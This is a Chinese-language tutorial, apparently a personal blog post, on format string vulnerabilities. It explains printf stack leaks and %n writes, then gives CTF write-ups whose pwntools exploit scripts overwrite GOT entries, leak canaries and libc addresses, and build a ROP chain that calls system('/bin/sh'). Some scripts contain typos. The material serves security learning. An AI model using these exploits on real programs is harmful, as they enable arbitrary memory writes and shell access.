格式化字符串漏洞学习

一、格式化字符串的基本原理

1、了解printf函数族

格式化字符串漏洞主要是printf函数家族的问题。像printf、fprintf、sprintf、snprintf等格式化字符串函数课接受变数量的参数,并且将第一个参数作为格式化字符串

像下面的printf函数一样:前面的第一个参数表示的是格式化字符串,当中的符号说明与后面的参数一一对应。第一个参数中的格式化字符串的数量决定了后面参数的数量

image-20220430215411006

常见的符号i说明:

(1)%d:以十进制形式输出带符号整数

(2) %s:不是打印栈中的内容,而是通过栈中地址寻址。 把存储单元内的数据转换成ASCII字符格式输出,直到遇到字符””\0”才会停止

(3)%p:将所指向的内容当成是指针来输出,不是输出它的地址,实际上与输出十六进制格式差不多

它打印出来的是这个栈地址所指向的内容:

image-20220430101408921

image-20220430101529916

image-20220430101458769

2、printf的输出原理

(1)其中,它的第一个是格式化字符串,然后接下来的就是它的后门几个参数,格式化字符串位于esp处

#include <stdio.h>

int main(){

    char str[] = "Hello";
    int x = 32;
    char s[] = "pwnpwnpwn";
    printf("%s %d %s %c", str, x, s, '\n');
    return 0;
}

(2)printf的读取方式:

image-20220430153742463

(3)它会按照参数的顺序以此读取内容,但是此时如果我修改掉它的第一个参数的内容为第三个参数的数值,那么此时它的输出就会发生变化

image-20220430153850406

(4)此时它的输出就为:pwnpwnpwn 32 pwnpwnpwn

image-20220430153944418

结论:

① 如果我们能够控制格式化字符串的内容,我们就能得到栈上所有内容的值

② 再通过%s能够任意地址读取了

3、printf的漏洞利用点

(1)我们都知道printf格式化字符串的里的个数和参数的个数都是相同的。 正常使用printf函数:

char str[100];
scnaf("%s", &str);
printf("%s", str);

(2)但是有时候为了简写,它会省略格式化字符串

char str[100];
scnaf("%s", &str);
printf(str);

(4)如果我们str输入的内容是:格式化字符串的形式,它就会把这些内容当作是格式化字符串,然后一次输出格式化字符串后面的每一个参数

然而,有时候为了省事会写成

char str[100];
scanf("%s", &str);
printf(str);

(5)这种情况正常情况下是没有什么问题,但是我如果添加上格式化字符串以后

aaaa-%p-%p-%p-%p-%p-%p-%p-%p

image-20220430104238788

(6)而printf输出的都是栈上的所有内容,也就是说这样就可以通过格式化字符串泄露任意地址,其中较为常见的就是泄露cananry的地址,只要知道canary地址相对于esp的地址,就可以通过%k$p的相对地址来泄露canary的数值

image-20220430104303662

4、$的使用

(4)%K$d:将更改参数对应顺序,与格式化字符串后的第K个参数进行对应

比如下面的printf,他的第一个参数是

#include <stdio.h>

int main(){

    int a = 4, b = 6, c = 2;
    printf("%3$d + %1$d = %2$d\n",a, b, c);
    return 0;
}

正常情况下根据参数的位置输出的是4 + 6 = 2,但是在%d加上指定的参数的位置以后就可以获取到相应的内容

image-20220430102055996

%k在任何的格式化情况下都可以使用:

二、格式化字符串漏洞——任意读

1、泄露canary

其实前面讲解的很清楚了,gdb动态调试能知道canary的位置相对于esp的起始位置,然后利用%K$p 将canary打印出来即可。解题步骤

(1) 获取到canary的地址,可以发现canary距离esp的位置为15,所以利用 %15$p 就可以获取到canary的值

image-20220430183334854

image-20220430183527080

(2)此时需要编写脚本来实现接收到数据

r.sendline('%15$p')
canary = int(r.recv(10), 16)
print('canary ==>' + hex(canary))
print type(canary)

canary共有十位,所以需要接收十位。由于接收到的数据类型为str类型,而p32打包的时候需要用到的是整型。所以需要用 int函数将字符转换成整型,后门的16表示转换的进制数,默认十进制

(3) 溢出时将canary的值重新填写回去,溢出覆盖返回地址即可

payload = 'a' * 32 + p32(canary) + 'a'*12 + p32(0x080484df)

2、泄露pie基地址

image-20220430211730385

image-20220430211756994

image-20220430211920243

三、格式化字符串漏洞——任意写

1、绕过判断,修改某个数值

%n:把前面已经打印的长度写入某个内存地址,写入的是四个字节

%hn:写入的是两个字节

%hhn:写入的是一个字节

如:

利用 %hhn把值0x6a686664 写道0x8045566地址里面

0x64 写进 0x8045566

0x66 写进 0x8045567

0x68 写进 0x8045568

0x6a 写进 0x8045569

p32(0x8045566) + p32(0x8045567) + p32(0x8045568) + p32(0x8045569) + ‘%84c%offset$hnn’ + ‘%84c%offset+1$hnn’ + ‘%2c%offset$hnn’ + ‘%2c%offset+2$hnn’ + ‘%2c% offset+3+2$hnn’

如果是逆序的化就需要溢出,取低字节

(4) %n:将%n之前打印出来的字符个数,赋值给一个变量

image-20220430212240038

很典型的格式化字符串漏洞的任意写题目,只要让pwnme == 8就能getshell。

首先测量格式化输入的地址距离esp的距离:为10

image-20220430212852204

image-20220430212730081

接下来就是修改pwnme地址处的值了,先

# payload = fmtstr_payload(10, {0x0804A068: 8})
payload = p32(0x0804A068) + '%4c%10$n'

2、任意写神器——fmtstr_payload

fmtstr_payload是pwntools里面的一个工具

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
# 第一个参数表示格式化字符串的偏移
# 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system地址,就写成{printf: system}
# 第三个参数表示已经输出的字符个数,这里没有为,采用默认0
# 第四个参数表示写入方式,是按照字节(byte)、双字节(short)、还是四字节(int)。他对应着hhn、hn、n。默认为hhn
#fmtstr_payload函数返回的就是payload

一般做题主要就是前面的两个参数,基本格式为:
fmtstr_payload(offset, {address:vaule1}) 	==> 	payload = fmtstr_payload(10, {atoi_addr: system_addr})

所以直接利用fmtstr_payload函数修改任意地址的值为任意值即可getshell

如果整个程序都没有开启relor保护的化,可以直接下面存在的一个函数的got表指向system函数的地址,使其执行该函数时会自动执行system函数的地址

payload = fmtstr_payload(10, {e.got["puts"]: 0x080486E8})

四、格式化字符串漏洞——无限循环

待补充

五、常见格式化字符串漏洞题目

1、第五空间2019_决赛_PWN5

利用格式化字符串漏洞的任意写功能,将随机数的值修改成一个固定的值

(1)程序分析:32为程序,开启了Canary和NX保护

(2)打开IDA查看一下源代码

存在一个格式化字符串漏洞,存在一个判断,当输入的一个数与一个随机数相等时获取flag

image-20220322215947385

(3)整体分析

  • time 与 srand函数设置一个随机数,这里没什么用
  • 打开一个文件然后从里面读取4个字节大小的内容,没有这个文件,读取的数是随机的
  • 然后输入你的姓名,不存在溢出情况,但是有一个格式化字符串漏洞
  • 然后再输入你的密码,这个密码值会与之前在文件里面的数值进行比较,如果相同就获取flag

(4)漏洞分析

  • 存在格式化字符串漏洞,利用它任意写的特点。第一次输入这个随机数改成一个常数,第二次输入这个常数就能判断成功获得flag了。
  • 由于这个程序没有开启RELRO保护,可以修改plt表和got表。可以利用格式化字符串的任意写功能,第一次输入时将atoi函数的got表修改成system函数,第二次输入时将nptr处写出 “/bin/sh”,因此当你接下来要执行atoi函数时就会执行system函数,就可以获取flag

(5)解题过程

  • 确定格式化字符串的位置, 可以发现格式化字符串在第十个
muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/[第五空间2019 决赛]PWN5$ ./pwn
your name:aaaa -%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa -0xff947738-0x63-(nil)-0xf7f0da9c-0x3-0xf7ee0410-0x1-(nil)-0x1-0x61616161-0x70252d20-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
  • 然后将随机数修改为4

exp1 :

from pwn import *

local = 1
e = ELF("./pwn")

if local == 1:
    r = process("./pwn")
    #libc = ELF("")
    # context(log_level = 'debug')
else :
    r = reomte("")
    libc = ELF("")
    # context(log_level = 'debug')

def gdb_attach():
    gdb.attach(r)
    pause()

addr = 0x0804C044

payload = p32(addr) + "%10$n"
r.recvuntil("your name:")
r.sendline(payload)
# gdb_attach()

r.recvuntil("your passwd:")
r.sendline(str(4))

r.interactive()

分析:

addr表示的地址是随机数(dword_804C044)的地址,然后由于格式化字符串在第十个就%10$n,而且32位程序前面有四个字节,故将这个地址的值改为了一个固定的值4,所以再输入4就可以获得flag

exp2:

from pwn import *

local = 1
e = ELF("./pwn")

if local == 1:
    r = process("./pwn")
    #libc = ELF("")
    # context(log_level = 'debug')
else :
    r = reomte("")
    libc = ELF("")
    # context(log_level = 'debug')

def gdb_attach():
    gdb.attach(r)
    pause()

atoi_got_addr = e.got["atoi"]
system_addr = e.symbols["system"]

payload = fmtstr_payload(10, {atoi_addr: system_addr})

r.recvuntil("your name:")
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()

分析:

利用fmstr_payload这个工具,直接将atoi的got表的地址改成了system函数地址,然后再输入参数就可以在执行atoi时执行system函数地址。

2、jarvisoj_fm

任意写

(1)程序分析:32位程序,开启了NX保护,打开 IDA, 查看一下源代码

image-20220720165419041

可以明显的看到格式化字符串漏洞,并且当x等于4时就可以获得权限。所以这道题的思路就是利用格式化字符串漏洞的任意写功能修改x的值为4。

exp:

from pwn import *

r = remote("node4.buuoj.cn",25852)
#r = process("./pwn")

addr = 0x0804A02C


payload1 = fmtstr_payload(11,{addr:0x4}
#payload1 = p32(addr) + '%11$hhn'


r.sendline(payload1)


r.sendline("cat ./flag")
r.interactive()

3、HarekazeCTF_2019

ret2libc(printf泄露)

程序分析:**64位程序,开启了NX保护**,打开 IDA, 查看一下源代码
image-20220720165444148
存在read函数溢出,再查看是否存在后门地址。没有发现system函数,利用libc泄露system函数了

注意:

(1)这里是用printf来打印泄露read函数的真正地址,这里泄露printf函数是不行的。printf泄露的话要注意第一个是格式化字符串,所以你首先须要在ida里面找到一个带有%s格式化字符串的地址。
(2)找某个文件名的方法

find -name “flag”

exp:

from pwn import *

#r = process("./pwn")
r = remote("node4.buuoj.cn",25038)

e = ELF("./pwn")
libc = ELF("./libc.so.6")
context(log_level = 'debug')

printf_plt_addr = e.plt["printf"]
read_got_addr = e.got["read"]
main_addr = e.symbols["main"]
format_addr = 0x0000000000400770
rdi_ret_addr = 0x0000000000400733
rsi_r15_ret_addr = 0x0000000000400731

offset = 0x20 + 8
payload1 = offset*'a' + p64(rdi_ret_addr) + p64(format_addr) + p64(rsi_r15_ret_addr) + p64(read_got_addr) + p64(1) + p64(printf_plt_addr) + p64(main_addr)
r.recvuntil("What's your name? ")
r.sendline(payload1)

read_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
print(hex(read_addr))
#pause()

base_addr = read_addr - libc.symbols["read"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload2 = offset*'a' + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("What's your name? ")
r.sendline(payload2)

#r.sendline("cat flag")
r.interactive()

六、参考链接

(1)https://blog.csdn.net/qq_39268483/article/details/92399248

(2)https://www.kanxue.com/book-57-857.htm

(3)https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-example/

(4)https://baijiahao.baidu.com/s?id=1669093381463931480&wfr=spider&for=pc


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏